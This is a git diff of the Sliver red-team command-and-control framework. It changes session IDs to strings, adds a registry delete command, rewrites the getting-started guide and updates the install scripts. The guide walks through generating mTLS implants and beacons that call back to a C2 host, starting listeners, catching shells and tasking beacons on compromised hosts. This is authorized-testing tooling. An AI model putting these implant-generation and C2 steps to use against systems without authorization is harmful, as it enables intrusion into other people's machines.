if !overflow || con.Settings.AlwaysOverflow {
// Only paginate if the number of lines is at least 2x the terminal height
width, height, err := terminal.GetSize(0)
width, height, err := term.GetSize(0)
if err == nil && 2*height < lineCount {
if 7 < height {
tw.SetPageSize(height - 6)
+15
View File
@@ -559,6 +559,21 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
registry.PrintCreateKey(createKey, createKeyReq.Path, createKeyReq.Key, con)
case sliverpb.MsgRegistryDeleteKeyReq:
deleteKeyReq := &sliverpb.RegistryDeleteKeyReq{}
err := proto.Unmarshal(task.Request, deleteKeyReq)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
deleteKey := &sliverpb.RegistryDeleteKey{}
err = proto.Unmarshal(task.Response, deleteKey)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
registry.PrintDeleteKey(deleteKey, deleteKeyReq.Path, deleteKeyReq.Key, con)
case sliverpb.MsgRegistryListValuesReq:
listValuesReq := &sliverpb.RegistryListValuesReq{}
err := proto.Unmarshal(task.Request, listValuesReq)
+1 -1
View File
@@ -29,7 +29,7 @@ func UseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, err := sessions.SelectSession(false, con)
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
} else if err != nil {
switch err {
case sessions.ErrNoSessions:
+16 -16
View File
@@ -24,7 +24,6 @@ import (
"errors"
"fmt"
"sort"
"strconv"
"strings"
"text/tabwriter"
@@ -56,7 +55,7 @@ func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
} else if beacon != nil {
con.ActiveTarget.Set(nil, beacon)
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
@@ -69,10 +68,9 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb
if err != nil {
return nil, nil, err
}
idNumber, err := strconv.Atoi(id)
if err == nil {
for _, session := range sessions.Sessions {
if session.ID == uint32(idNumber) {
if strings.HasPrefix(session.ID, id) {
return session, nil, nil
}
}
@@ -96,15 +94,15 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
if err != nil {
return nil, nil, err
}
sessionsMap := map[uint32]*clientpb.Session{}
sessionsMap := map[string]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
var sessionKeys []int
var sessionKeys []string
for _, session := range sessions.Sessions {
sessionKeys = append(sessionKeys, int(session.ID))
sessionKeys = append(sessionKeys, session.ID)
}
sort.Ints(sessionKeys)
sort.Strings(sessionKeys)
// Get and sort beacons
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
@@ -122,7 +120,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
sort.Strings(beaconKeys)
if len(beaconKeys) == 0 && len(sessionKeys) == 0 {
return nil, nil, fmt.Errorf("No sessions or beacons 🙁")
return nil, nil, fmt.Errorf("no sessions or beacons 🙁")
}
// Render selection table
@@ -130,9 +128,10 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, key := range sessionKeys {
session := sessionsMap[uint32(key)]
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
session.ID,
session := sessionsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
"SESSION",
strings.Split(session.ID, "-")[0],
session.Name,
session.RemoteAddress,
session.Hostname,
@@ -142,7 +141,8 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
}
for _, key := range beaconKeys {
beacon := beaconsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
"BEACON",
strings.Split(beacon.ID, "-")[0],
beacon.Name,
beacon.RemoteAddress,
@@ -167,7 +167,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
for index, option := range options {
if option == selected {
if index < len(sessionKeys) {
return sessionsMap[uint32(sessionKeys[index])], nil, nil
return sessionsMap[sessionKeys[index]], nil, nil
}
return nil, beaconsMap[beaconKeys[index-len(sessionKeys)]], nil
}
@@ -182,9 +182,9 @@ func BeaconAndSessionIDCompleter(prefix string, args []string, con *console.Sliv
return
}
for _, s := range sessions.Sessions {
sid := fmt.Sprintf("%d", s.ID)
sid := s.ID
if strings.HasPrefix(sid, prefix) {
results = append(results, fmt.Sprintf("%d", s.ID))
results = append(results, s.ID)
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+18 -14
View File
@@ -31,6 +31,7 @@ import (
"strconv"
"strings"
"sync"
"time"
"github.com/bishopfox/sliver/client/assets"
consts "github.com/bishopfox/sliver/client/constants"
@@ -41,13 +42,10 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"google.golang.org/protobuf/proto"
"time"
"github.com/desertbit/go-shlex"
"github.com/desertbit/grumble"
"github.com/fatih/color"
"google.golang.org/protobuf/proto"
)
const (
@@ -167,7 +165,8 @@ func (con *SliverConsoleClient) EventLoop() {
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (DNS Canary)\n", Normal, event.Session.Name)
sessions := con.GetSessionsByName(event.Session.Name)
for _, session := range sessions {
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected\n", session.ID)
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
}
case consts.WatchtowerEvent:
@@ -175,7 +174,8 @@ func (con *SliverConsoleClient) EventLoop() {
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (seen on %s)\n", Normal, event.Session.Name, msg)
sessions := con.GetSessionsByName(event.Session.Name)
for _, session := range sessions {
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected", session.ID)
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
}
case consts.JoinedEvent:
@@ -190,8 +190,9 @@ func (con *SliverConsoleClient) EventLoop() {
case consts.SessionOpenedEvent:
session := event.Session
currentTime := time.Now().Format(time.RFC1123)
con.PrintEventInfof("Session #%d %s - %s (%s) - %s/%s - %v",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v",
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
// Prelude Operator
if prelude.SessionMapper != nil {
@@ -204,12 +205,15 @@ func (con *SliverConsoleClient) EventLoop() {
case consts.SessionUpdateEvent:
session := event.Session
currentTime := time.Now().Format(time.RFC1123)
con.PrintEventInfof("Session #%d has been updated - %v", session.ID, currentTime)
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
case consts.SessionClosedEvent:
session := event.Session
con.PrintEventErrorf("Lost session #%d %s - %s (%s) - %s/%s",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch)
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
@@ -229,7 +233,7 @@ func (con *SliverConsoleClient) EventLoop() {
proto.Unmarshal(event.Data, beacon)
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(beacon.ID, "-")[0]
con.PrintEventInfof("Beacon #%s %s - %s (%s) - %s/%s - %v",
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
case consts.BeaconTaskResultEvent:
@@ -295,7 +299,7 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
// If the callback is not in our map then we don't do anything, the beacon task
// was either issued by another operator in multiplayer mode or the client process
// was restarted between the time the task was created and the server go the result
// was restarted between the time the task was created and when the server got the result
con.BeaconTaskCallbacksMutex.Lock()
defer con.BeaconTaskCallbacksMutex.Unlock()
if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok {
@@ -406,7 +410,7 @@ func (con *SliverConsoleClient) GetSession(arg string) *clientpb.Session {
return nil
}
for _, session := range sessions.GetSessions() {
if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
if session.Name == arg || strings.HasPrefix(session.ID, arg) {
return session
}
}
+2
View File
@@ -211,6 +211,7 @@ const (
RegistryListSubStr = "list-subkeys"
RegistryListValuesStr = "list-values"
RegistryCreateKeyStr = "create"
RegistryDeleteKeyStr = "delete"
PivotsStr = "pivots"
WgConfigStr = "wg-config"
WgSocksStr = "wg-socks"
@@ -219,6 +220,7 @@ const (
SSHStr = "ssh"
DLLHijackStr = "dllhijack"
InteractiveStr = "interactive"
CloseStr = "close"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
+2 -2
View File
@@ -29,7 +29,7 @@ var (
// PortfwdMeta - Metadata about a portfwd listener
type PortfwdMeta struct {
ID int
SessionID uint32
SessionID string
BindAddr string
RemoteAddr string
}
@@ -184,7 +184,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
log.Printf("[tcpproxy] Failed to dial implant %s", err)
return nil, err
}
log.Printf("[tcpproxy] Created new tunnel with id %d (session %d)", rpcTunnel.TunnelID, p.Session.ID)
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
+1 -1
View File
@@ -47,7 +47,7 @@ var (
// PortfwdMeta - Metadata about a portfwd listener
type SocksProxyMeta struct {
ID int
SessionID uint32
SessionID string
BindAddr string
Username string
Password string
+2 -2
View File
@@ -32,7 +32,7 @@ func (t *tunnels) Get(tunnelID uint64) *Tunnel {
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID uint32) *Tunnel {
func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := &Tunnel{
@@ -75,7 +75,7 @@ func (t *tunnels) Close(tunnelID uint64) {
type Tunnel struct {
ID uint64
IsOpen bool
SessionID uint32
SessionID string
Send chan []byte
Recv chan []byte
+4 -4
View File
@@ -32,11 +32,11 @@ import (
func init() {
buf := make([]byte, 8)
_, err := rand.Read(buf)
seed := uint64(time.Now().Unix())
if err == nil {
binary.LittleEndian.PutUint64(buf, uint64(seed))
if err != nil {
insecureRand.Seed(int64(time.Now().Unix()))
} else {
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
}
insecureRand.Seed(int64(seed))
}
func main() {
+1 -1
View File
@@ -50,7 +50,7 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, int(agentSession.Session.GetID())
return out, 0, 0
case "exit":
return shutdown(agentSession)
default:
+1 -1
View File
@@ -78,7 +78,7 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
// GUI, we need to have a unique name for them.
// Plus, having the ID in the name will help the user to make the
// correlation.
sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
beacon := Beacon{
Name: sessName,
Target: p.conf.OperatorURL,
+143 -32
View File
@@ -6,27 +6,28 @@ date: 2021-07-07 09:01:33 -0500
categories: sliver
---
# 1. Server Setup
The first thing you'll need to do is setup a Sliver server.
The server supports Linux, Windows, and MacOS however we recommend running the server on a Linux or MacOS host, as some features may be more difficult to get working on a Windows server. However, the Windows client should work just fine when accessing a Linux/MacOS server.
Download the latest [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. The first time you run the server it'll need to unpack some assets, which may take a minute or two, subsequent start ups should be faster.
__NOTE:__ Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable shellcode/staged payloads you need to install MinGW. To enable MSF integrations you'll need Metasploit installed.
The `Dockerfile` build of Sliver is mostly designed to run the unit tests but includes both MinGW and Metasploit. If you plan to run the server using Docker you'll need to forward the appropriate TCP ports (e.g. 80, 443, 31337) yourself.
### MinGW Setup (Optional)
__⚠️ NOTE:__ This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
## Server Setup
The first thing you'll need to do is setup a Sliver server, Sliver is designed for a one server deployment per-operation.
The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
Download the latest sever [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
__IMPORTANT:__ Sliver has two external dependancies for _optional_ features: MinGW and Metasploit. To enable DLL payloads you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
### MinGW Setup (Optional, Recommended)
In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
#### Linux
#### Linux (Debian-based)
```
apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
apt install mingw-w64
```
#### MacOS
@@ -35,39 +36,65 @@ apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
brew install mingw-w64
```
__Note:__ On MacOS you'll likely have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
__Note:__ On MacOS may have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
### Metasploit Setup (Optional)
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects version 5 or later.
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 5+.
## Implants Beacon vs. Session
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations. Such is the tradeoff for getting easy static compilation in Golang.
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
Some commands such as `shell` and `portfwd` only work over interactive sessions.
## Generating Implants
__IMPORTANT:__ The first time you generate an implant the server needs to download some Go module code, so the server must have internet access. See [offline implant builds](https://github.com/BishopFox/sliver/wiki/Offline-Implant-Builds) if this is a problem for you. The modules are cached.
Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
#### Session Mode
```
sliver > generate --mtls example.com --save /Users/moloch/Desktop
[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop
[*] Generating new windows/amd64 Sliver binary
[*] Build completed in 00:10:16
[*] Build completed in 00:00:16
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
```
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. WARNING: Some commands/features may not work on "unsupported" platforms.
#### Beacon Mode
```
sliver > generate --mtls example.com --save /Users/moloch/Desktop --skip-symbols --os mac
[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:27
[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe
```
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
Some commands/features may not work on "unsupported" platforms.
```
sliver > generate --mtls example.com --save /Users/moloch/Desktop --os mac
[*] Generating new darwin/amd64 Sliver binary
[!] Symbol obfuscation is disabled
[*] Build completed in 00:00:03
[*] Build completed in 00:00:09
[*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
```
The server will also assign codenames to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these codenames will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `slivers` command:
The server will also assign code names to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these code names will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `implants` command:
```
sliver > slivers
sliver > implants
Name OS/Arch Debug Format
==== ======= ===== ======
@@ -83,7 +110,7 @@ SICK_SPY darwin/amd64 false EXECUTABLE
If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
```
sliver > regenerate --save /Users/moloch/Desktop/ NEW_GRAPE
sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
```
@@ -96,7 +123,7 @@ For addition details about each C2 please see:
## Getting Shells
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a listener started with `https`). You can use the `jobs` command to view and manage listeners running in the background.
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a `https` listener). You can use the `jobs` command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks:
```
sliver > mtls
@@ -113,26 +140,101 @@ ID Name Protocol Port
In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
### Interacting with Sessions
The `use` command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the `use` command with no arguments will enter an interactive menu to select from.
```
[*] Session #1 PROPER_ANTHONY - 127.0.0.1:49929 (narvi.local) - darwin/amd64
[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST
sliver > use 1
sliver > use 8ff2ce4c
[*] Active sliver PROPER_ANTHONY (1)
[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6)
sliver (PROPER_ANTHONY) > ls
sliver (LONG_DRAMATURGE) > ls
/Users/moloch/Desktop
=====================
.DS_Store 6.0 KiB
.localized 0 B
PROPER_ANTHONY 6.3 MiB
LONG_DRAMATURGE 6.3 MiB
```
If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
### Interacting with Beacons
Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own id and this id is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab complete for the uuid when using `use`:
```
[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST
[server] sliver > beacons
ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb)
[server] sliver (RELATIVE_ADVERTISEMENT) >
```
You should see a blue prompt indicating that we're interacting with a beacon as apposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
```
[server] sliver (RELATIVE_ADVERTISEMENT) > ls
[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6)
[+] RELATIVE_ADVERTISEMENT completed task 962978a6
C:\git
======
drwxrwxrwx a <dir> Wed Dec 22 15:34:56 -0600 2021
...
```
Tasks will execute in the order they were created (FIFO).
__⚠️ IMPORTANT:__ Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
You can view previous tasks executed by the active beacon using the `tasks` command:
```
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
ID State Message Type Created Sent Completed
========== =========== ============== =============================== =============================== ===============================
90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
```
You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Note that in this case these task output is stored on the server, so operators in multiplayer mode can fetch output from tasks issued by other operators. However, operators will only see the automatic results from tasks that they executed. You can disable the automatic display of task results using the `settings` command.
#### Switching from Beacon Mode to Session Mode
You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
```
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
```
__⚠️ IMPORTANT:__ You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
## Multiple Domains/Protocols
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> WG -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
```
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
@@ -140,4 +242,13 @@ sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
## What Next?
Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
* [Armory](https://github.com/BishopFox/sliver/wiki/Armory)
* [Stagers](https://github.com/BishopFox/sliver/wiki/Stagers)
* [Port Forwarding](https://github.com/BishopFox/sliver/wiki/Port-Forwarding)
* [Reverse SOCKS](https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS)
* [BOF/COFF Support](https://github.com/BishopFox/sliver/wiki/BOF-&-COFF-Support)
+11 -32
View File
@@ -10,13 +10,13 @@ fi
if [ -n "$(command -v yum)" ]
then
yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
fi
if [ -n "$(command -v apt-get)" ]
then
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
zip unzip gpg curl build-essential \
gpg curl build-essential \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
fi
@@ -32,12 +32,6 @@ then
echo "awk could not be found"
exit 1
fi
# Zip
if ! command -v zip &> /dev/null
then
echo "zip could not be found"
exit 1
fi
# GPG
if ! command -v gpg &> /dev/null
then
@@ -106,49 +100,34 @@ EOF
# Download and Unpack Sliver Server
#
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
SLIVER_SERVER_ZIP='sliver-server_linux.zip'
SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
SLIVER_SERVER='sliver-server'
SLIVER_CLIENT='sliver-client'
SLIVER_SERVER='sliver-server_linux'
SLIVER_CLIENT='sliver-client_linux'
for URL in $ARTIFACTS
do
if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
done
echo "Verifying signatures ..."
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
if test -f "/root/$SLIVER_SERVER_ZIP"; then
unzip -o /root/$SLIVER_SERVER_ZIP -d /root
rm -f /root/$SLIVER_SERVER_ZIP
else
exit 2
fi
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
if test -f "/root/$SLIVER_SERVER"; then
chmod 755 /root/$SLIVER_SERVER
/root/$SLIVER_SERVER unpack --force
mv /root/$SLIVER_SERVER /root/sliver-server
chmod 755 /root/sliver-server
/root/sliver-server unpack --force
else
exit 3
fi
if test -f "/root/$SLIVER_CLIENT_ZIP"; then
unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
rm -f /root/$SLIVER_CLIENT_ZIP
else
exit 2
fi
if test -f "/root/$SLIVER_CLIENT"; then
chmod 755 /root/$SLIVER_CLIENT
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
+13 -15
View File
@@ -16,12 +16,12 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
set -e
# Creates the static go asset archives
GO_VER="1.17.5"
GO_VER="1.17.6"
GARBLE_VER="1.17.5"
COFF_LOADER_VER="1.0.7"
GO_ARCH_1="amd64"
GO_ARCH_2="arm64"
@@ -50,7 +50,7 @@ fi
REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
OUTPUT_DIR=$REPO_DIR/server/assets/fs
CLIENT_OUTPUT_DIR=$REPO_DIR/client/assets/fs
mkdir -p $OUTPUT_DIR
WORK_DIR=`mktemp -d`
echo "-----------------------------------------------------------------"
@@ -134,22 +134,20 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/$GO_ARCH_1/go.zip
rm -rf ./go
rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
# --- Client ---
mkdir -p $CLIENT_OUTPUT_DIR/extensions/coff-loader/windows
echo "-----------------------------------------------------------------"
echo " Garble"
echo "-----------------------------------------------------------------"
curl -L --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
curl -L --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
